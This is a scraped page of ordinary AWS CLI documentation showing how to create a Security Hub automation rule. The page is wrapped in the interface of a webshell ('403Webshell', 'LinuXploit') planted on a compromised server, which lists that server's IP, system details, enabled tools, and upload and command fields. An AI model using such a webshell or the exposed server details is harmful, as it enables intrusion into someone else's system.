403Webshell
Server IP : 3.96.16.70  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux ip-172-31-26-103.ca-central-1.compute.internal 6.1.163-186.299.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Feb 24 16:35:42 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3.9/site-packages/awscli/examples/securityhub/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/awscli/examples/securityhub/create-automation-rule.rst
**To create an automation rule**

The following ``create-automation-rule`` example creates an automation rule in the current AWS account and AWS Region. Security Hub filters your findings based on the specified criteria and applies the actions to matching findings. Only the Security Hub administrator account can run this command. ::

    aws securityhub create-automation-rule \
        --actions '[{ \
            "Type": "FINDING_FIELDS_UPDATE", \
            "FindingFieldsUpdate": { \
                "Severity": { \
                    "Label": "HIGH" \
                }, \
                "Note": { \
                    "Text": "Known issue that is a risk. Updated by automation rules", \
                    "UpdatedBy": "sechub-automation" \
                } \
            } \
        }]' \
        --criteria '{ \
            "SeverityLabel": [{ \
                "Value": "INFORMATIONAL", \
                "Comparison": "EQUALS" \
            }] \
        }' \
        --description "A sample rule" \
        --no-is-terminal \
        --rule-name "sample rule" \
        --rule-order 1 \
        --rule-status "ENABLED"

Output::

    {
        "RuleArn": "arn:aws:securityhub:us-east-1:123456789012:automation-rule/a1b2c3d4-5678-90ab-cdef-EXAMPLE11111"
    }

For more information, see `Creating automation rules <https://docs.aws.amazon.com/securityhub/latest/userguide/automation-rules.html#create-automation-rules>`__ in the *AWS Security Hub User Guide*.

Youez - 2016 - github.com/yon3zu
LinuXploit